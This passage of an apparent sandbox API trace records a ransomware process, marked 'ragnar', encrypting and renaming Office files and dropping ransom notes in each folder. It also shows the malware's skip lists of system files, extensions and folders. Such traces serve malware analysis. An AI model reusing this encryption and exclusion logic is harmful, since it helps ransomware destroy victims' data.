Controller\\OneNote.en-us\\OneNoteMUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" [0062.923] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.ragnar_FD7BD9FC" [0062.923] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0062.924] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77be27a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77be27a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0062.924] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x65 [0062.924] lstrcpyW (in: lpString1=0x1ea0d4, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0062.924] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0062.924] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0062.924] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0062.924] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x65 [0062.924] lstrcpyW (in: lpString1=0x1ea0d4, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0062.924] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned=".XML" [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0062.924] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0062.925] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0062.925] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0062.925] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0062.925] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0062.925] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0062.925] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0062.925] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0062.925] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0062.925] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0062.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0062.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0062.926] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1988) returned 1 [0062.926] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.926] GetProcessHeap () returned 0x580000 [0062.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.926] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.932] VirtualAlloc (lpAddress=0x0, dwSize=0x7c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.932] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.932] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.932] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x7c4, lpOverlapped=0x0) returned 1 [0062.932] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0062.932] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.932] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c4, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x7c4, lpOverlapped=0x0) returned 1 [0062.932] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.932] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.933] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x7c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.933] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.933] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.933] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.933] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0062.933] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.933] GetProcessHeap () returned 0x580000 [0062.933] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0062.933] CloseHandle (hObject=0x104) returned 1 [0062.935] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" [0062.935] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0062.935] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0062.936] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0062.936] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0062.936] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0062.936] lstrcmpiW (lpString1="OSETUP.DLL", lpString2=".") returned 1 [0062.936] lstrcmpiW (lpString1="OSETUP.DLL", lpString2="..") returned 1 [0062.936] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0062.936] lstrcmpiW (lpString1="OSetupPS.dll", lpString2=".") returned 1 [0062.936] lstrcmpiW (lpString1="OSetupPS.dll", lpString2="..") returned 1 [0062.936] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2=".") returned 1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="..") returned 1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="Windows") returned -1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="Windows.old") returned -1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="Tor browser") returned -1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="Internet Explorer") returned 1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="Google") returned 1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="Opera") returned 1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="Opera Software") returned 1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="Mozilla") returned 1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="Mozilla Firefox") returned 1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="$Recycle.Bin") returned 1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="ProgramData") returned -1 [0062.936] lstrcmpiW (lpString1="Outlook.en-us", lpString2="All Users") returned 1 [0062.936] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0062.936] lstrcpyW (in: lpString1=0x1eab90, lpString2="Outlook.en-us" | out: lpString1="Outlook.en-us") returned="Outlook.en-us" [0062.936] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\" [0062.936] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\" [0062.936] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\RGNR_FD7BD9FC.txt" [0062.937] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0062.949] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*" [0062.949] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x65 [0062.949] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0062.949] lstrcpyW (in: lpString1=0x1e9cc0, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0062.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77c2ea60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c2ea60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0062.950] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0062.950] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77c2ea60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c2ea60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.950] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0062.950] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0062.950] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0062.950] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2=".") returned 1 [0062.950] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="..") returned 1 [0062.950] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77c2ea60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77c2ea60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0062.950] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0062.950] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0062.950] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0062.950] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0062.950] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0062.950] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0062.950] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0062.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77c2ea60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c2ea60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0062.950] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77c2ea60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c2ea60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.950] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0062.950] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x65 [0062.950] lstrcpyW (in: lpString1=0x1ea0d4, lpString2="OutlookMUI.XML" | out: lpString1="OutlookMUI.XML") returned="OutlookMUI.XML" [0062.950] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned=".XML" [0062.950] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="autorun.inf") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="boot.ini") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="bootfont.bin") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="bootsect.bak") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="bootmgr") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="bootmgr.efi") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="bootmgfw.efi") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="desktop.ini") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="iconcache.db") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="ntldr") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", lpString2="ntuser.dat") returned 1 [0062.951] lstrcmpiW (lpString1="OutlookMUI.XML", 